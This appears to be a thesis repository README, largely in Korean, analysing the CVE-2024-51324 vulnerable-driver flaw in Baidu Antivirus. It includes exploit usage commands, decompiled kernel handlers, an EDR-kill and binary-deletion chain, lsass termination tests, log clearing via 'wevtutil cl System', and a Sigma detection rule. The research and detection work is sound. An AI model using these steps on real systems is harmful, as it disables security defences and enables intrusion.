
Master's Thesis research on CVE-2024-51324 (BYOVD). Advanced exploit with 4 operational modes (SCANNER, LOADER, KILLER, CLEANUP), SHA-256 driver verification, and full academic documentation. Portfolio piece covers Windows kernel driver security, IOCTL reverse engineering, and Bring Your Own Vulnerable Driver exploitation.
자체 취약 드라이버 가져오기 (BYOVD) — 바이두 안티바이러스
BdApiUtil64.sys
세 가지 문서화되지 않은 커널 프리미티브: 프로세스 종료, 임의 파일 삭제, 및SectionObjectPointer우회를 통한 사용 중인 파일 삭제
영향받는 제품: Baidu Antivirus v5.2.3.116083 (BdApiUtil64.sys)
취약 드라이버를 커널에 로딩 중 (LOADER 모드)
이 저장소는 CVE-2024-51324에 대한 석사 논문 연구를 포함하며, 이는 Baidu Antivirus의 커널 드라이버 BdApiUtil64.sys의 자체 취약 드라이버 가져오기 (BYOVD) 취약점입니다.
NVD 기록은 CVSS v3.1 기본 점수 3.8 (Low) 와 벡터 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N 및 CWE-269 (부적절한 권한 관리)를 할당합니다. 이 점수는 이 연구에서 문서화된 로컬 공격 현실을 반영하지 않습니다. 관리자가 드라이버를 로드하면 (소셜 엔지니어링 또는 로컬 권한 상승을 통해 한 번만 수행하면 되는 단계) 이후 모든 프로세스(샌드박스 또는 표준 사용자 프로세스 포함)는 추가 권한 검사 없이 IOCTL을 보낼 수 있습니다. 연구자가 평가한 CVSS v3.1 점수 7.8 (High) 와 벡터 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H가 로드 후 악용 현실을 더 정확하게 반영합니다. 두 점수 모두 기술 문서에서 논의됩니다.
드라이버는 SecurityDescriptor = NULL로 \Device\BdApiUtil 디바이스 객체를 생성하여 무결성 수준에 관계없이 모든 프로세스가 핸들을 열고 IOCTL을 보낼 수 있도록 합니다. Ghidra 11.0.3을 통한 정적 분석에 따르면 내부 메커니즘은 이전에 문서화된 것보다 더 중요합니다. 드라이버는 ZwOpenProcess 대신 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode)를 사용하여 SeAccessCheck를 완전히 우회합니다. 세 가지 IOCTL 프리미티브가 완전히 특성화되었으며, 그중 두 가지는 이전에 공개 문서화된 바가 없습니다.
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│ └── BdApiUtil64.sys # 드라이버 (배포되지 않음)
│
├── exploit/
│ ├── exploit-explanation.md
│ └── byovd_killer.py # 주요 익스플로잇 — 4가지 작동 모드
│
└── docs/
├── screenshots/
│ ├── 01-byovd-scan.png
│ ├── 02-byovd-scan-target.png
│ ├── 03-byovd-load.png
│ ├── 04-byovd-load-custom.png
│ ├── 05-kill-name.gif
│ ├── 06-kill-pid.gif
│ ├── 07-kill-limit.gif
│ ├── 08-dry-run.gif
│ └── 09-byovd-cleanup.png
│
└── analysis/
├── 01-root-cause.md
├── 02-driver-analysis.md # 전체 Ghidra RE, 세 가지 프리미티브, PPL 테스트
└── 03-timeline.md
BdApiUtil64.sys (SHA-256: 47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428)python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService









Ghidra 11.0.3을 통한 BdApiUtil64.sys의 역공학은 이전의 모든 공개 출처보다 더 넓은 공격 표면을 식별했습니다:
0x800024B4)디스패치 체인은 세 가지 수준으로 구성됩니다:
IOCTL 0x800024B4
└─ FUN_00028630 (IRP_MJ_DEVICE_CONTROL 디스패처)
└─ FUN_00015230 (래퍼: IOCTL 코드 및 버퍼 크기 = 4바이트 확인)
└─ FUN_000152b0 (종료 핸들러 — 취약점 핵심)
복원된 핸들러 (Ghidra):
if ((param_1 != 0) && (param_1 != 4)) {
PsLookupProcessByProcessId(param_1, &local_res10);
ObOpenObjectByPointer(
local_res10,
0x200, // OBJ_KERNEL_HANDLE
0, // PassedAccessState: NULL
0x1fffff, // PROCESS_ALL_ACCESS
0, // ObjectType: NULL
0, // AccessMode: KernelMode ← SeAccessCheck 우회
local_res18
);
ZwTerminateProcess(local_res18[0], 0);
}
KernelMode가 SeAccessCheck를 우회하는 이유:
ZwOpenProcess 경로:
NtOpenProcess → ObOpenObjectByName → SeAccessCheck
(DACL, 호출자 토큰, 무결성 수준 확인)
STATUS_ACCESS_DENIED 반환 가능
ObOpenObjectByPointer(KernelMode) 경로:
SeAccessCheck ← 호출되지 않음
→ PROCESS_ALL_ACCESS 핸들이 무조건 부여됨
ZwOpenProcess는 드라이버의 임포트 테이블에 없습니다. 이전 출처에 있는 ZwOpenProcess에 기반한 설명은 기술적으로 부정확합니다.
0x80002648)핸들러 FUN_00013bb0는 유니코드 경로를 수신하고 InputBufferLength ≥ 0x208을 확인한 후 FUN_00013c10에 위임합니다. 서브-핸들러는 커널 모드에서 파일을 열고 (호출자 토큰에 대한 SeAccessCheck 없음) IRP_MJ_SET_INFORMATION IRP를 FileInformationClass = 0xD (FileDispositionInformation)와 함께 전달하여 파일을 삭제 대상으로 표시합니다. 커널이 접근 가능한 모든 파일은 NTFS 권한에 관계없이 삭제될 수 있습니다.
0x8000264C)핸들러 FUN_000139d0는 FileObject->SectionObjectPointer (오프셋 0x28 in FILE_OBJECT)에 접근하여 삭제 IRP를 전달하기 전에 두 필드를 일시적으로 null로 만듭니다:
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0; // DataSectionObject → NULL
plVar1[0] = 0; // ImageSectionObject → NULL
IofCallDriver(device, irp);
KeWaitForSingleObject(...);
// 완료 후 복원
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;
IopDeleteFile은 FileDispositionInformation을 처리하기 전에 이 포인터를 확인합니다. 이를 null로 만듦으로써 핸들러는 파일이 매핑되지 않은 것처럼 보이게 하여 사용 중인 파일 보호를 우회합니다. 이 프리미티브는 실행 중인 EDR 에이전트의 바이너리를 프로세스를 먼저 종료하지 않고 디스크에서 삭제할 수 있습니다.
전체 EDR 제거 체인:
1. EDR 프로세스 종료 (IOCTL 0x800024B4)
2. EDR 바이너리를 디스크에서 삭제 (IOCTL 0x8000264C) ← 메모리-매핑된 경우에도 작동
3. 재시작 방지 ← 실행 파일이 디스크에 더 이상 존재하지 않음
PPL (Protected Process Light)은 이 드라이버의 ObOpenObjectByPointer(KernelMode) 기반 종료에 저항하는 유일한 런타임 완화입니다.
--cleanup 후에도 남는 것이벤트 ID 7045는 정리와 함께 전체 공격 주기를 견뎌내는 유일한 아티팩트입니다. 서비스 이름, ImagePath (전체 바이너리 경로), 서비스 유형 및 생성 타임스탬프를 포함합니다.
이벤트 ID 7045를 제거하기 위해 wevtutil cl System을 실행하면 보안 채널에 이벤트 ID 1102가 생성되어 누가 언제 로그를 삭제했는지 기록합니다. 이는 원본 아티팩트가 파괴되더라도 로그 변조가 탐지 가능하게 만듭니다.
| 공격자 행위 | 결과 아티팩트 | 채널 | 지속성 |
|---|---|---|---|
wevtutil cl System | 이벤트 ID 7045 삭제됨 | 시스템 | — |
title: BYOVD Attack via BdApiUtil64.sys (CVE-2024-51324)
id: a3f7c2e1-8b4d-4f9a-b6e3-2d1c9f8a7b5e
status: experimental
logsource:
product: windows
service: system
detection:
selection_eventid:
EventID: 7045
selection_driver:
- ServiceName|contains: 'BdApi'
- ImagePath|contains: 'BdApiUtil64.sys'
condition: selection_eventid and selection_driver
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.privilege_escalation
- attack.t1068
전체 시그마 규칙 및 Sysmon 구성 (SHA-256 해시 기준 이벤트 ID 6 + 레지스트리 키 기준 이벤트 ID 13)은 docs/detection/에서 확인할 수 있습니다.
| 문서 | 설명 |
|---|---|
| 근본 원인 분석 | IRP_MJ_DEVICE_CONTROL 핸들러의 접근 제어 누락 |
이 연구는 사이버보안 석사 논문 (UCAM — Campus Internacional de Ciberseguridad)의 일부로, 여러 환경에서 N-Day 취약점을 분석합니다.
이 CVE는 논문 내 Windows 커널 드라이버 / BYOVD 벡터를 나타내며, 다음을 입증합니다:
ZwOpenProcess 없음; 실제 메커니즘은 ObOpenObjectByPointer(KernelMode))키워드: BYOVD · Kernel Driver · IOCTL · Ghidra · Process Termination · File Deletion · SectionObjectPointer · ObOpenObjectByPointer · Defense Evasion · CVE-2024-51324
Annais Molina (devianntsec) — 사이버보안 석사 과정
MIT 라이선스 — LICENSE 참조
이 저장소는 학술 석사 논문의 일부로 교육 및 보안 연구 목적으로만 제공됩니다. 모든 테스트는 네트워크에 노출되지 않은 격리된 가상 머신에서 수행되었습니다. 취약 드라이버 (BdApiUtil64.sys)는 이 저장소에 배포되지 않으며, 독립적으로 획득해야 합니다. 소유하거나 명시적인 서면 승인을 받은 시스템에서만 사용하십시오. 승인되지 않은 사용은 불법이며 형사 기소될 수 있습니다.
| 항목 | 설명 |
|---|
| 기술적 수정 | ZwOpenProcess는 임포트 테이블에 없으며, 실제 메커니즘은 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode)로, 이는 SeAccessCheck를 무조건 우회합니다 |
| 세 가지 문서화된 프리미티브 | 프로세스 종료 (0x800024B4), 임의 파일 삭제 (0x80002648), 및 SectionObjectPointer 우회를 통한 사용 중인 파일 삭제 (0x8000264C) — 마지막 두 개는 이전에 공개 문서화된 바가 없습니다 |
| 네 가지 작동 모드 | LOADER, KILLER, SCANNER, CLEANUP — 전체 수명 주기 관리 |
| SHA-256 검증 | 로드 시도 전 드라이버 해시 확인 |
| PPL 경험적 테스트 | 프로세스 범주당 10회 시도, PPL이 유일한 런타임 완화임을 확인 |
| 포렌식 분석 | 정리 후에도 남는 이벤트 ID 7045; 이벤트 ID 1102는 로그 삭제 자가-범죄 증거 |
| 탐지 규칙 | 시그마 규칙 및 Sysmon 구성 (해시 기준 이벤트 ID 6 + 레지스트리 키 기준 이벤트 ID 13) |
| CVSS 재평가 | 공식 NVD 점수(3.8 Low)와 연구자 평가 로컬 악용 심각도(7.8 High) 간의 차이 문서화 |
| 모드 | 명령어 | 권한 | 설명 |
|---|
| SCANNER | --scan | 모든 사용자 | 시스템 및 드라이버 상태 정보 |
| LOADER | --load | 관리자 | 커널 서비스 생성을 통해 드라이버 로드 |
| KILLER | --kill / --pid | 모든 사용자 | IOCTL을 통해 프로세스 종료 |
| CLEANUP | --cleanup | 관리자 | 드라이버 서비스 중지 및 삭제 |
| IOCTL | 핸들러 | 프리미티브 | 이전 문서화 |
|---|
0x800024B4 | FUN_000152b0 | 프로세스 종료 | 부분적 (메커니즘 부정확) |
0x80002648 | FUN_00013bb0 | 임의 파일 삭제 | 없음 |
0x8000264C | FUN_00013850 | 사용 중인 파일 삭제 (SectionObjectPointer 우회) | 없음 |
| 프로세스 | PPL 활성화 | 종료 가능 | 원인 |
|---|
notepad.exe | 아니오 | ✅ 10/10 | 보호 없음 |
regedit.exe | 아니오 | ✅ 10/10 | 보호 없음 |
spoolsv.exe | 아니오 | ✅ 9/10 | SCM이 1건에서 재시작 |
MsMpEng.exe | 아니오 (테스트 환경에 PPL 없음) | ✅ 8/10 | 약간의 타이밍 변동 |
lsass.exe | 아니오 (RunAsPPL 없음) | ✅ 6/10 | 상태 변동 |
csrss.exe | 예 (무조건 PPL) | ❌ 0/10 | STATUS_ACCESS_DENIED |
| 존재 | 부재 |
|---|
PsLookupProcessByProcessId | ZwOpenProcess |
ObOpenObjectByPointer | SeAccessCheck |
ZwTerminateProcess | SePrivilegeCheck |
PsGetCurrentProcess | |
IoGetRequestorProcess |
| 시나리오 | 대상 | 영향 |
|---|
| EDR/AV 종료 | MsMpEng.exe, SentinelAgent.exe | 방어 회피 |
| EDR 바이너리 삭제 (사용 중) | 디스크 상의 EDR 실행 파일 | 종료 후 재시작 방지 |
| 감사 로그 방해 | EventLog 서비스 | 포렌식 변조 |
| 보호된 프로세스 우회 | lsass.exe (RunAsPPL 없음) | 자격 증명 접근 지원 |
| 랜섬웨어 암호화 전 준비 | 보안 에이전트 | 전체 방어 회피 체인 |
| 아티팩트 | 정리 후 상태 |
|---|
| SCM의 서비스 | 제거됨 |
driverquery의 드라이버 | 제거됨 |
| 디바이스 객체 | 접근 불가 |
| 레지스트리 키 | 제거됨 |
| 이벤트 ID 7045 | 남음 — sc delete로 제거 불가 |
wevtutil cl System |
| 이벤트 ID 1102 생성됨 |
| 보안 |
| 영구 |
| 드라이버 분석 | 전체 Ghidra RE, 세 가지 IOCTL 프리미티브, PPL 테스트, 임포트 테이블 분석 |
| CVE 타임라인 | 발견, 공개 및 패치 연대기 |